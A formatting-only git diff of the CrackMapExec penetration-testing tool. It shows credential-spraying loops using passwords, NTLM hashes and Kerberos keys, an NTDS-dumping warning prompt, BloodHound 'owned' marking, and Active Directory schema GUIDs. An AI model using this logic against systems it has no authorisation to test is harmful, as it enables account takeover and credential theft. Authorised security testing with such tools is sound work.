self.kdcHost, - False + self.domain, + usr.strip(), + "", + f_hash.strip(), + "", + self.kdcHost, + False, ): return True - elif self.hash_login(self.domain, usr.strip(), f_hash.strip()): + elif self.hash_login( + self.domain, + usr.strip(), + f_hash.strip(), + ): return True elif self.args.no_bruteforce: - user_file.seek(0) # HACK: this should really not be in the usr for loop - for usr, f_hash in zip(user_file, ntlm_hash_file): - if not self.over_fail_limit(usr.strip()): + user_file.seek( + 0 + ) # HACK: this should really not be in the usr for loop + for usr, f_hash in zip( + user_file, ntlm_hash_file + ): + if not self.over_fail_limit( + usr.strip() + ): if self.args.kerberos: if self.kerberos_login( - self.domain, - usr.strip(), - "", - f_hash.strip(), - "", - self.kdcHost, - False + self.domain, + usr.strip(), + "", + f_hash.strip(), + "", + self.kdcHost, + False, ): return True - elif self.hash_login(self.domain, usr.strip(), f_hash.strip()): + elif self.hash_login( + self.domain, + usr.strip(), + f_hash.strip(), + ): return True else: # ntlm_hash is a string if not self.over_fail_limit(usr.strip()): if self.args.kerberos: if self.kerberos_login( - self.domain, - usr.strip(), - "", - ntlm_hash.strip(), - "", - self.kdcHost, - False + self.domain, + usr.strip(), + "", + ntlm_hash.strip(), + "", + self.kdcHost, + False, ): return True - elif self.hash_login(self.domain, usr.strip(), ntlm_hash.strip()): + elif self.hash_login( + self.domain, + usr.strip(), + ntlm_hash.strip(), + ): return True elif self.args.password: with sem: @@ -311,63 +391,89 @@ class connection(object): with open(password, "r") as password_file: if not self.args.no_bruteforce: for f_pass in password_file: - if not self.over_fail_limit(usr.strip()): + if not self.over_fail_limit( + usr.strip() + ): if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( - self.domain, - usr.strip(), - f_pass.strip(), - "", - "", - self.kdcHost, - False + self.domain, + usr.strip(), + f_pass.strip(), + "", + "", + self.kdcHost, + False, ): return True - elif self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): + elif self.plaintext_login( + self.domain, + usr.strip(), + f_pass.strip(), + ): return True else: - if self.plaintext_login(usr.strip(), f_pass.strip()): + if self.plaintext_login( + usr.strip(), + f_pass.strip(), + ): return True elif self.args.no_bruteforce: - user_file.seek(0) # HACK: this should really not be in the usr for loop - for usr, f_pass in zip(user_file, password_file): - if not self.over_fail_limit(usr.strip()): + user_file.seek( + 0 + ) # HACK: this should really not be in the usr for loop + for usr, f_pass in zip( + user_file, password_file + ): + if not self.over_fail_limit( + usr.strip() + ): if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( - self.domain, - usr.strip(), - f_pass.strip(), - "", - "", - self.kdcHost, - False + self.domain, + usr.strip(), + f_pass.strip(), + "", + "", + self.kdcHost, + False, ): return True - elif self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): + elif self.plaintext_login( + self.domain, + usr.strip(), + f_pass.strip(), + ): return True else: - if self.plaintext_login(usr.strip(), f_pass.strip()): + if self.plaintext_login( + usr.strip(), + f_pass.strip(), + ): return True else: # password is a string if not self.over_fail_limit(usr.strip()): if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( - self.domain, - usr.strip(), - password, - "", - "", - self.kdcHost, - False + self.domain, + usr.strip(), + password, + "", + "", + self.kdcHost, + False, ): return True - elif self.plaintext_login(self.domain, usr.strip(), password): + elif self.plaintext_login( + self.domain, usr.strip(), password + ): return True else: - if self.plaintext_login(usr.strip(), password): + if self.plaintext_login( + usr.strip(), password + ): return True else: # user is a string if hasattr(self.args, "hash") and self.args.hash: @@ -379,31 +485,35 @@ class connection(object): if not self.over_fail_limit(user): if self.args.kerberos: if self.kerberos_login( - self.domain, - user, - "", - ntlm_hash.strip(), - "", - self.kdcHost, - False + self.domain, + user, + "", + ntlm_hash.strip(), + "", + self.kdcHost, + False, ): return True - elif self.hash_login(self.domain, user, f_hash.strip()): + elif self.hash_login( + self.domain, user, f_hash.strip() + ): return True else: # ntlm_hash is a string if not self.over_fail_limit(user): if self.args.kerberos: if self.kerberos_login( - self.domain, - user, - "", - ntlm_hash.strip(), - "", - self.kdcHost, - False + self.domain, + user, + "", + ntlm_hash.strip(), + "", + self.kdcHost, + False, ): return True - elif self.hash_login(self.domain, user, ntlm_hash.strip()): + elif self.hash_login( + self.domain, user, ntlm_hash.strip() + ): return True elif self.args.password: with sem: @@ -415,35 +525,41 @@ class connection(object): if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( - self.domain, - user, - f_pass.strip(), - "", - "", - self.kdcHost, - False + self.domain, + user, + f_pass.strip(), + "", + "", + self.kdcHost, + False, ): return True - elif self.plaintext_login(self.domain, user, f_pass.strip()): + elif self.plaintext_login( + self.domain, user, f_pass.strip() + ): return True else: - if self.plaintext_login(user, f_pass.strip()): + if self.plaintext_login( + user, f_pass.strip() + ): return True else: # password is a string if not self.over_fail_limit(user): - if hasattr(self.args, 'domain'): + if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( - self.domain, - user, - password, - "", - "", - self.kdcHost, - False + self.domain, + user, + password, + "", + "", + self.kdcHost, + False, ): return True - elif self.plaintext_login(self.domain, user, password): + elif self.plaintext_login( + self.domain, user, password + ): return True else: if self.plaintext_login(user, password): @@ -452,7 +568,15 @@ class connection(object): with sem: for aesKey in self.args.aesKey: if not self.over_fail_limit(user): - if self.kerberos_login(self.domain, user, "", "", aesKey.strip(), self.kdcHost, False): + if self.kerberos_login( + self.domain, + user, + "", + "", + aesKey.strip(), + self.kdcHost, + False, + ): return True def mark_pwned(self): diff --git a/cme/console.py b/cme/console.py index 88cebe61..a39b3aa7 100644 --- a/cme/console.py +++ b/cme/console.py @@ -1,6 +1,3 @@ from rich.console import Console -cme_console = Console( - soft_wrap=True, - tab_size=4 -) +cme_console = Console(soft_wrap=True, tab_size=4) diff --git a/cme/context.py b/cme/context.py index 7cf068e2..a3b6bec8 100755 --- a/cme/context.py +++ b/cme/context.py @@ -11,11 +11,11 @@ class Context: setattr(self, key, value) self.db = db - self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs') + self.log_folder_path = os.path.join(os.path.expanduser("~/.cme"), "logs") self.localip = None self.conf = configparser.ConfigParser() - self.conf.read(os.path.expanduser('~/.cme/cme.conf')) + self.conf.read(os.path.expanduser("~/.cme/cme.conf")) self.log = logger # self.log.debug = logging.debug diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index 47a4e7c4..15b0aa31 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -31,15 +31,15 @@ from rich.progress import Progress try: import librlers except: - print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)") + print( + "Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)" + ) sys.exit(1) def create_db_engine(db_path): db_engine = sqlalchemy.create_engine( - f"sqlite:///{db_path}", - isolation_level="AUTOCOMMIT", - future=True + f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True ) return db_engine @@ -57,10 +57,13 @@ async def start_run(protocol_obj, args, db, targets): total = len(targets) tasks = progress.add_task( f"[green]Running CME against {total} {'target' if total == 1 else 'targets'}", - total=total + total=total, ) cme_logger.debug(f"Creating thread for {protocol_obj}") - futures = [executor.submit(protocol_obj, args, db, target) for target in targets] + futures = [ + executor.submit(protocol_obj, args, db, target) + for target in targets + ] for future in concurrent.futures.as_completed(futures): current += 1 progress.update(tasks, completed=current) @@ -90,18 +93,24 @@ def main(): cme_logger.debug(f"Passed args: {args}") if args.darrell: - links = open(os.path.join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines() + links = ( + open(os.path.join(DATA_PATH, "videos_for_darrell.harambe")) + .read() + .splitlines() + ) try: webbrowser.open(random.choice(links)) sys.exit(1) except Exception as e: cme_logger.error(f"Error opening le dank meme: {e}") sys.exit(1) - + if args.protocol == "ssh": if args.key_file: if not args.password: - cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`") + cme_logger.fail( + f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`" + ) sys.exit(1) if args.use_kcache and not os.environ.get("KRB5CCNAME"): @@ -180,7 +189,9 @@ def main(): sys.exit(0) elif args.module and args.show_module_options: for module in args.module: - cme_logger.display(f"{module} module options:\n{modules[module]['options']}") + cme_logger.display( + f"{module} module options:\n{modules[module]['options']}" + ) sys.exit(0) elif args.module: cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}") @@ -194,16 +205,29 @@ def main(): if not module.opsec_safe: if ignore_opsec: - cme_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt") - cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded") + cme_logger.debug( + f"ignore_opsec is set in the configuration, skipping prompt" + ) + cme_logger.display( + f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded" + ) else: ans = input( - highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", 'red')) + highlight( + "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: sys.exit(1) if not module.multiple_hosts and len(targets) > 1: - ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) + ans = input( + highlight( + "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: sys.exit(1) @@ -223,30 +247,37 @@ def main(): cme_logger, args.server_host, args.server_port, - args.server + args.server, ) module_server.start() protocol_object.server = module_server.server except Exception as e: cme_logger.error(f"Error loading module server for {module}: {e}") - cme_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}") + cme_logger.debug( + f"proto_object: {protocol_object}, type: {type(protocol_object)}" + ) cme_logger.debug(f"proto object dir: {dir(protocol_object)}") # get currently set modules, otherwise default to empty list current_modules = getattr(protocol_object, "module", []) current_modules.append(module) setattr(protocol_object, "module", current_modules) - cme_logger.debug(f"proto object module after adding: {protocol_object.module}") + cme_logger.debug( + f"proto object module after adding: {protocol_object.module}" + ) if hasattr(args, "ntds") and args.ntds and not args.userntds: - ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red')) - if ans.lower() not in ['y', 'yes', '']: + ans = input( + highlight( + "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ", + "red", + ) + ) + if ans.lower() not in ["y", "yes", ""]: sys.exit(1) try: - asyncio.run( - start_run(protocol_object, args, db, targets) - ) + asyncio.run(start_run(protocol_object, args, db, targets)) except KeyboardInterrupt: cme_logger.debug("Got keyboard interrupt") finally: diff --git a/cme/first_run.py b/cme/first_run.py index cc579960..8159ef7e 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -15,11 +15,18 @@ def first_run_setup(logger=cme_logger): os.mkdir(TMP_PATH) if not os.path.exists(CME_PATH): - logger.display('First time use detected') - logger.display('Creating home directory structure') + logger.display("First time use detected") + logger.display("Creating home directory structure") os.mkdir(CME_PATH) - folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots'] + folders = [ + "logs", + "modules", + "protocols", + "workspaces", + "obfuscated_scripts", + "screenshots", + ] for folder in folders: if not os.path.exists(os.path.join(CME_PATH, folder)): logger.display(f"Creating missing folder {folder}") @@ -28,22 +35,24 @@ def first_run_setup(logger=cme_logger): initialize_db(logger) if not os.path.exists(CONFIG_PATH): - logger.display('Copying default configuration file') - default_path = os.path.join(DATA_PATH, 'cme.conf') + logger.display("Copying default configuration file") + default_path = os.path.join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) else: # This is just a quick check to make sure the config file isn't the old 3.x format try: config = configparser.ConfigParser() config.read(CONFIG_PATH) - config.get('CME', 'workspace') - config.get('CME', 'pwn3d_label') - config.get('CME', 'audit_mode') - config.get('BloodHound', 'bh_enabled') - config.get('CME', 'log_mode') + config.get("CME", "workspace") + config.get("CME", "pwn3d_label") + config.get("CME", "audit_mode") + config.get("BloodHound", "bh_enabled") + config.get("CME", "log_mode") except (NoSectionError, NoOptionError): - logger.display('Old configuration file detected, replacing with new version') - default_path = os.path.join(DATA_PATH, 'cme.conf') + logger.display( + "Old configuration file detected, replacing with new version" + ) + default_path = os.path.join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) # if not os.path.exists(CERT_PATH): @@ -58,7 +67,7 @@ def first_run_setup(logger=cme_logger): # if e.errno == errno.ENOENT: # logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate') # default_path = os.path.join(DATA_PATH, 'default.pem') - # shutil.copy(default_path, CERT_PATH) + # shutil.copy(default_path, CERT_PATH) # else: # logger.error('Error while generating SSL certificate: {}'.format(e)) # sys.exit(1) diff --git a/cme/helpers/bash.py b/cme/helpers/bash.py index 38e7f0d9..c3a797b0 100644 --- a/cme/helpers/bash.py +++ b/cme/helpers/bash.py @@ -5,5 +5,5 @@ from cme.paths import DATA_PATH def get_script(path): - with open(os.path.join(DATA_PATH, path), 'r') as script: + with open(os.path.join(DATA_PATH, path), "r") as script: return script.read() diff --git a/cme/helpers/bloodhound.py b/cme/helpers/bloodhound.py index 38b12bba..ac291031 100644 --- a/cme/helpers/bloodhound.py +++ b/cme/helpers/bloodhound.py @@ -1,44 +1,55 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + def add_user_bh(user, domain, logger, config): users_owned = [] if isinstance(user, str): - users_owned.append({'username': user.upper(), 'domain': domain.upper()}) + users_owned.append({"username": user.upper(), "domain": domain.upper()}) else: users_owned = user - if config.get('BloodHound', 'bh_enabled') != "False": + if config.get("BloodHound", "bh_enabled") != "False": try: from neo4j.v1 import GraphDatabase except: from neo4j import GraphDatabase from neo4j.exceptions import AuthError, ServiceUnavailable + uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}" - driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False) + driver = GraphDatabase.driver( + uri, + auth=( + config.get("BloodHound", "bh_user"), + config.get("BloodHound", "bh_pass"), + ), + encrypted=False, + ) try: with driver.session() as session: with session.begin_transaction() as tx: for info in users_owned: - if info['username'][-1] == '$': - user_owned = info['username'][:-1] + "." + info['domain'] - account_type = 'Computer' + if info["username"][-1] == "$": + user_owned = info["username"][:-1] + "." + info["domain"] + account_type = "Computer" else: - user_owned = info['username'] + "@" + info['domain'] - account_type = 'User' + user_owned = info["username"] + "@" + info["domain"] + account_type = "User" result = tx.run( - f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) RETURN c" + f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c' ) - if result.data()[0]['c'].get('owned') in (False, None): + if result.data()[0]["c"].get("owned") in (False, None): logger.debug( - f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name" + f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name' ) result = tx.run( - f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name" + f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name' + ) + logger.highlight( + f"Node {user_owned} successfully set as owned in BloodHound" ) - logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound") except AuthError as e: logger.error( f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid." @@ -51,4 +62,4 @@ def add_user_bh(user, domain, logger, config): logger.error("Unexpected error with Neo4J") logger.error("Account not found on the domain") return - driver.close() \ No newline at end of file + driver.close() diff --git a/cme/helpers/http.py b/cme/helpers/http.py index 1716bf4c..f2112174 100644 --- a/cme/helpers/http.py +++ b/cme/helpers/http.py @@ -3,22 +3,22 @@ import random -def get_desktop_uagent(uagent=None): +def get_desktop_uagent(uagent=None): desktop_uagents = { - "MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", - "MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", - "MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", - "MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", - "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", - "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", + "MSIE9.0": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", + "MSIE8.0": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", + "MSIE7.0": "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", + "MSIE6.0": "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", + "Chrome32": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", + "Chrome31": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,", "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", - "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16" + "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16", } - if not uagent: + if not uagent: return desktop_uagents[random.choice(desktop_uagents.keys())] elif uagent: - return desktop_uagents[uagent] \ No newline at end of file + return desktop_uagents[uagent] diff --git a/cme/helpers/misc.py b/cme/helpers/misc.py index b02445f8..b88a701e 100755 --- a/cme/helpers/misc.py +++ b/cme/helpers/misc.py @@ -9,19 +9,19 @@ import os def identify_target_file(target_file): - with open(target_file, 'r') as target_file_handle: + with open(target_file, "r") as target_file_handle: for i, line in enumerate(target_file_handle): if i == 1: - if line.startswith('\n'): - return 'nmap' + if line.startswith("\n"): + return "nmap" - return 'unknown' + return "unknown" def gen_random_string(length=10): - return ''.join(random.sample(string.ascii_letters, int(length))) + return "".join(random.sample(string.ascii_letters, int(length))) def validate_ntlm(data): @@ -34,11 +34,15 @@ def validate_ntlm(data): def called_from_cmd_args(): for stack in inspect.stack(): - if stack[3] == 'print_host_info': + if stack[3] == "print_host_info": return True - if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login': + if ( + stack[3] == "plaintext_login" + or stack[3] == "hash_login" + or stack[3] == "kerberos_login" + ): return True - if stack[3] == 'call_cmd_args': + if stack[3] == "call_cmd_args": return True return False @@ -53,12 +57,12 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None): path. Note: This function was backported from the Python 3 source code. """ + # Check that a given file can be accessed with the correct mode. # Additionally check that `file` is not a directory, as on Windows # directories pass the os.access check. def _access_check(fn, mode): - return (os.path.exists(fn) and os.access(fn, mode) and - not os.path.isdir(fn)) + return os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn) # If we're given a path with a directory part, look it up directly # rather than referring to PATH directories. This includes checking diff --git a/cme/helpers/msada_guids.py b/cme/helpers/msada_guids.py index 69157cb0..4d019149 100644 --- a/cme/helpers/msada_guids.py +++ b/cme/helpers/msada_guids.py @@ -25,1857 +25,1857 @@ This library is, for the moment, not present in the Impacket version used by Cra """ SCHEMA_OBJECTS = { - '2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level', - '2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL', - '963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id', - 'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower', - '29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop', - '963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class', - '1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent', - '2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member', - '4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name', - '7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List', - 'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper', - 'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops', - '5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID', - 'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name', - 'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script', - 'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN', - '9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL', - 'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier', - 'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue', - 'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD', - '26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type', - '6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department', - '96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name', - 'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID', - '34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL', - '1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path', - '5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name', - 'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path', - 'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address', - 'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01', - '5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template', - '83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy', - '5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema', - '5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security', - 'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name', - '96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size', - 'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name', - '3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02', - 'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires', - 'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command', - 'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index', - '9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate', - 'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source', - '70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate', - 'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient', - 'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema', - '2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status', - 'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings', - '9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority', - 'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type', - '54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2', - 'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone', - '031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History', - '1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path', - '98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName', - '9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type', - '2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID', - '41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3', - '2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point', - '7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User', - '2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command', - '20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types', - '18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex', - '281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data', - '5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4', - '39bad96d-c2d6-4baf-88ab-7e4207600117': 'document', - '7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth', - '2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change', - '29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info', - '9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost', - '7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution', - '0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion', - 'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person', - '1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout', - '1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout', - '461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor', - '9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name', - 'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector', - '4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2', - '7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries', - '7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction', - '2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version', - '7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage', - '2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service', - 'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source', - 'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3', - '19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain', - 'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart', - '1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime', - '26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID', - 'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota', - '2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services', - 'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports', - '70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4', - '19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS', - '1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority', - '1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path', - '638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference', - '9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests', - '45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval', - 'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS', - '6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager', - '1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh', - '66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner', - '2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL', - '0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig', - 'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From', - '349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2', - 'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy', - '7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service', - 